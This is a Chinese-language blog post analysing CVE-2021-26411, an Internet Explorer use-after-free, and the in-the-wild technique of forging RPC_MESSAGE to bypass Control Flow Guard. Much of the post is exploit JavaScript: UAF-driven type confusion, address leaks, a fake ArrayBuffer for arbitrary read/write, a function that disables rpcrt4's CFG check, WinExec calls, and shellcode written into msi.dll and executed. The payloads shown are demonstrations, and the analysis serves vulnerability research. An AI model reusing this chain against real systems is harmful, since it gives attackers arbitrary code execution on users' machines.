Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。
UAF原理:对Dangling pointer所指向内存进行use,如指针解引用等。
利用思路:将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存中的内容可控(如重新分配为字符串)
举例
typedef struct { int id; char *name; int (*func)() //函数指针,可以理解为类里面的方法 };
假设有上述这样的一个结构体指针p:
在释放掉p之后,没有将p置NULL,所以p变成Dangling pointer,再通过重新分配,再次拿到p之前指向的这段地址空间。
之后,通过strcpy(p2,"addr"),或者其他方式,向这段地址空间写入新数据。
然后当我们通过其他函数,再次使用p指针,就会造成无法预料的后果,因为此时p指针指向的内存包含的已经是完全不同的数据
-
任意地址读:puts(p->name)--------------->puts(char*(addr2))
-
任意地址写:strcpy(p->name,data);------>strcpy((char *)(addr2),data)
-
控制流劫持:p->func()--------------------->call addr3
参考
好好说话之Use After Free_hollk’s blog-CSDN博客
CTF Pwn中的 UAF 及 pwnable.kr UAF writeup - 知乎 (zhihu.com)
好了,有了上面的基础,就能明白CVE-2021-26411漏洞原理了!总结下来就是:利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码浏览器渲染进程漏洞利用的一般思路是:在利用漏洞获得用户态任意地址读写权限后,通过篡改DOM、js等对象的虚表函数指针劫持程序执行流,通过ROP链调用VirtualProtect等Win32 API,修改保存shellcode buffer的内存属性为PAGE_EXECUTE_READWRITE,最终由ROP链跳转到shellcode执行(核心原理就是这个了,无非是利用了rpc绕过cfg)。Windows 8.1后,Microsoft引入了CFG(Control Flow Guard)缓解技术[1],对间接调用的函数指针进行验证,从而缓解了通过篡改虚表函数指针劫持程序执行流这种利用技术。
然而对抗不会因此终止,随后出现了一些绕过CFG缓解技术的新方法,比如chakra/jscript9中通过篡改栈上函数返回地址劫持程序执行流[2],v8中利用具有可执行内存属性的WebAssembly对象执行shellcode[3]等。 2020年12月,Microsoft在Windows 10 20H1中基于Intel Tiger Lake CPU加入了CET缓解技术[4],防护了通过篡改栈上函数返回地址劫持程序执行流的利用方法。因此,如何在有CET防护的环境中绕过CFG再次成为漏洞利用的难题。
在分析CVE-2021-26411在野利用样本时[5],我们发现了一种利用Windows RPC(Remote Procedure Call)[5] 绕过CFG的新方法,这种方法无需依赖ROP链,通过构造RPC_MESSAGE并调用rpcrt4!NdrServerCall2即可实现任意代码执行。==》bypass CFG: bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet,也是采用了替换函数指针的方法。
1. CVE-2021-26411回顾
《IE浏览器在野0day:CVE-2021-26411分析》[5] 一文中介绍了该漏洞的根因(就是UAF了):removeAttributeNode()触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes(),导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF。
3月份Windows补丁中该漏洞的修复方法为,在CAttrArray::Destroy函数中删除对象操作前增加索引检查:
对应我实验里的代码部分为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | // step 1 // 利用 CVE-2021-26411 的 UAF 造成类型混淆 var god // 对象数组 var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() // 创建一个HTML 属性对象 var hd0 = document.createAttribute( 'handle' ) var hd1 = document.createAttribute( 'handle' ) var hd2 // 创建一个HTML 元素对象 var ele = document.createElement( 'element' ) var att = document.createAttribute( 'attribute' ) att.nodeValue = { valueOf: function () { hd1.nodeValue = ( new alloc1()).nodeValue // 回调时,清除ele对象绑定的所有属性 ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute( 'attribute' , 1337) } } ele.setAttributeNode(att) ele.setAttribute( 'attr' , '0' .repeat((0x20010 - 6) / 2)) // 触发valueof函数回调 ele.removeAttributeNode(att) hd0.nodeValue = alloc // hd0.nodeValue = alloc 结束后 attr2.nodeValue 将被 hd0.nodeValue 重新占用并且与 hd2.nodeValue 形成类型混淆 // hd0.nodeValue 类型值为 0xc safeArray。 // hd2.nodeValue 类型值为 0x8 BSTR。 |
对于这样一个大小可控的UAF漏洞,利用思路为:利用两个不同类型的指针(BSTR和Dictionary.items)指向该空洞内存,通过类型混淆实现指针泄露和指针解引用(就是说利用uaf进行信息泄露,这里泄露的不过是地址!!!因为后面会向这些地址写入数据):
对应我实验里的泄露数据部分的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // step2 泄露对象元数据,伪造 ArrayBuffer // dump 函数以 hd2.nodeValue 为参数,使用 string 对象方法 charCodeAt 获取 hd2.nodeValue(0874035c) 处的数据,然后再以 uint32 视图泄露 fake 对象和 arr 对象的地址 var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for ( var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for ( var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null |
下面章节直接跳转到了rpc的利用,实际上还是有一些过程的,我补充下:
泄露了地址以后,肯定是写入数据,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | // setData 函数将 fake 对象的元数据的地址填充到 abf ArrayBuffer 中 setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null // 使用泄露的 fake 对象的元数据在 fake.ArrayBuffer.buffer 中伪造对象,伪造的对象是一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer for ( var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff // step3 实现任意读写 // 使用伪造的 ArrayBuffer 对象实现任意读写对象 god。 // 以 god 对象实现任意读 setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null // 任意对象地址泄露,addrOf 将对象地址存储在 arr[0],然后读取值 pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 // 以 god 对象实现任意写 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) |
最终是以god对象实现任意写。
2. RPC原理及利用方法
Windows RPC用来解决分布式客户端/服务端函数调用问题。基于RPC,客户端可以像调用本地函数一样调用服务端函数,RPC基本架构如下图:
客户端/服务端程序将调用参数/返回值等传给下层Stub函数,Stub函数负责封装数据成NDR(Network Data Representation)格式,最后通过rpcrt4.dll提供的runtime库进行通信。
下面给出一示例idl:
当客户端调用add函数后,服务端由rpcrt4.dll接受处理请求并调用rpcrt4!NdrServerCall2:
rpcrt4!NdrServerCall2只有一个参数PRPC_MESSAGE,其中包含了客户端调用的函数索引、传参等重要数据,服务端RPC_MESSAGE结构及主要子数据结构如下图(32位):
如上图所示,RPC_MESSAGE结构中,函数调用关键的两个变量为Buffer和RpcInterfaceInformation。其中Buffer存放了函数的传参,RpcInterfaceInformation指向RPC_SERVER_INTERFACE结构。RPC_SERVER_INTERFACE结构保存了服务端程序接口信息,其中+0x2c DispatchTable保存了runtime库和Stub函数的接口函数指针,+0x3c InterpreterInfo指向MIDL_SERVER_INFO结构。MIDL_SERVER_INFO结构保存了服务端IDL接口信息,其中DispatchTable保存了服务端提供的远程调用例程的函数指针数组。
下面以一个实例介绍RPC_MESSAGE的结构:
根据上面给出的idl,当客户端调用add(0x111, 0x222),服务端程序断在rpcrt4!NdrServerCall2:
可以看到,动态调试的内存dump与RPC_MESSAGE结构分析一致,其中add函数就存放在MIDL_SERVER_INFO. DispatchTable中。
接下来分析rpcrt4!NdrServerCall2是如何根据RPC_MESSAGE调用add函数的:
rpcrt4!NdrServerCall2内部调用rpcrt4!NdrStubCall2,rpcrt4!NdrStubCall2内部根据MIDL_SERVER_INFO. DispatchTable的基地址和RPC_MESSAGE. ProcNum计算调用的函数指针地址,将函数指针、函数参数和参数长度传给rpcrt4!Invoke:
rpcrt4!Invoke内部最终调用服务端例程函数:
通过上面的分析可以知道,在获得任意地址读写权限后,可以构造一个RPC_MESSAGE数据结构,传入想要调用的函数指针(这个就是恶意代码!)和函数参数,最后手动调用rpcrt4!NdrServerCall2,即可实现任意函数执行。
接下来需要解决两个问题:
1)如何通过js脚本调用rpcrt4! NdrServerCall2
2)观察rpcrt4!Invoke最后的服务端例程函数调用:
可以看到这里是一处间接调用,且有CFG检查。因此需要考虑替换MIDL_SERVER_INFO. DispatchTable函数指针后如何绕过这里的CFG防护。
首先解决问题1: 如何通过js脚本调用rpcrt4! NdrServerCall2
这里可以复用替换DOM对象虚表函数指针劫持程序执行流的方法,因为rpcrt4!NdrServerCall2是记录在CFGBitmap里的合法指针,所以替换后依然可以通过CFG检查。样本里通过篡改MSHTML!CAttribute::normalize,最终由“xyz.normalize()”调用rpcrt4!NdrServerCall2。
接着解决问题2: 如何绕过rpcrt4!NdrServerCall2中的CFG防护
样本里的思路是:
1) 利用伪造的RPC_MESSAGE和rpcrt4!NdrServerCall2调用VirtualProtect修改RPCRT4!__guard_check_icall_fptr内存属性为PAGE_EXECUTE_READWRITE
2)替换rpcrt4!__guard_check_icall_fptr里保存的指针ntdll!LdrpValidateUserCallTarget为ntdll!KiFastSystemCallRet,从而关闭rpcrt4的CFG检查
3) 恢复RPCRT4!__guard_check_icall_fptr内存属性
解决了问题1,2后,后续即可利用伪造的RPC_MESSAGE实现任意函数的调用。样本中将shellcode写入msi.dll + 0x5000的位置,最终通过rpcrt4!NdrServerCall2调用shellcode:
最终完整的利用演示:
对应我上面实验的代码就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | // step4 伪造 RPC_MESSAGE // 伪造 RPC_MESSAGE 之前需要先调用 rpcrt4!I_RpcTransServerNewConnection 以获得 OSF_SCALL_Vftable,OSF_SCALL_Vftable 最终将被设置到 RPC_MESSAGE->Handle 中 // 而 I_RpcTransServerNewConnection 和后续 rpcrt4!NdrServerCall2 的调用都是通过伪造 Attribute 进行的 var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll' ) var msvcrt = getDllBase(jscript9, 'msvcrt.dll' ) var ntdll = getDllBase(msvcrt, 'ntdll.dll' ) var kernelbase = getDllBase(msvcrt, 'kernelbase.dll' ) var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect' ) var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA' ) // 创建 xyz 作为伪造 Attribute 的目标对象 // 这里伪造的 Attribute 与原 Attribute 只有虚表指针不同 var xyz = document.createAttribute( 'xyz' ) var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() // initRpc() 的内容用一张图说明其构建的 RPC_MESSAGE 主要结构,其中 RPC_MESSAGE 也是伪造的 Attribute,其虚表的 0x28c 处是 xyz.normalize() 执行的 NdrServerCall2 函数的地址 // 伪造 RPC_MESSAGE 作为 rpcrt4!NdrServerCall2 参数使用 var msg = initRpc() var rpcFree = rpcFree() // step4 bypass CFG // bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet killCfg(rpcrt4) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | // 调用API,弹出计算器 // 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行。 var kernel32 = call2(LoadLibraryExA,[newStr( 'kernel32.dll' ,0,1)]) var WinExec = getProcAddr(kernel32, 'WinExec' ) call2(WinExec,[newStr( 'calc.exe' ),5]) // step5 执行 shellcode //加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之 var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr( 'msi.dll' ), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) // 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框 alert(result.toString(16)) |
其中,通过normalize间接去调用rpcrt4!NdrServerCall2的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | // 使用目的函数地址替换假虚表中 normalize 函数的地址,这样调用 xyz.normalize() 函数便可以执行目的函数,normalize 函数地址对比 // 达到调用rpcrt4!NdrServerCall2目的 // 调用方式是先将 xyz 的 Attribute 指针修改为伪造 Attribute 的地址,然后调用 xyz.normalize(),调用完再恢复 xyz 的 Attribute 指针 function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) // 错误处理 try { // rpcrt4!NdrServerCall2 xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } |
修改cfg的细节补充下,内含修改内存属性,覆盖cfg检查的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet' ) var tmpBuffer = createArrayBuffer(4) // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet // 关闭rpcrt4的CFG检查 write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) // 恢复PRCRT4!__gurad_check_icall_fptr内存属性 call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map. delete (tmpBuffer) } |
再度总结下核心流程
利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码
3. 一些思考
CVE-2021-26411在野样本中出现了利用RPC绕过CFG缓解技术的这一创新方法。这种利用方法无需构造ROP链,直接通过伪造RPC_MESSAGE即可实现任意代码执行,利用简单且稳定,有理由相信该方法会成为绕过CFG缓解措施的一种新的有效利用技术。
4. 参考文献
[1] https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard
[2] https://zhuanlan.kanxue.com/article-14133.htm
[3] https://www.anquanke.com/post/id/201951
[4] https://windows-internals.com/cet-on-windows/
[5] https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650250070&idx=1&sn=5906feea0cfe498bffbb961e73f5c285
[6] https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2021-04-29 政务云 电子政务外网的一些安全思考
2021-04-29 SASE——安全访问服务边缘,就是零信任接入服务
2020-04-29 为 TortoiseGit 添加 ssh key---运行 TortoiseGit 开始菜单中的 Pageant 程序将ppk私钥加入即可
2018-04-29 1、VGG16 2、VGG19 3、ResNet50 4、Inception V3 5、Xception介绍——迁移学习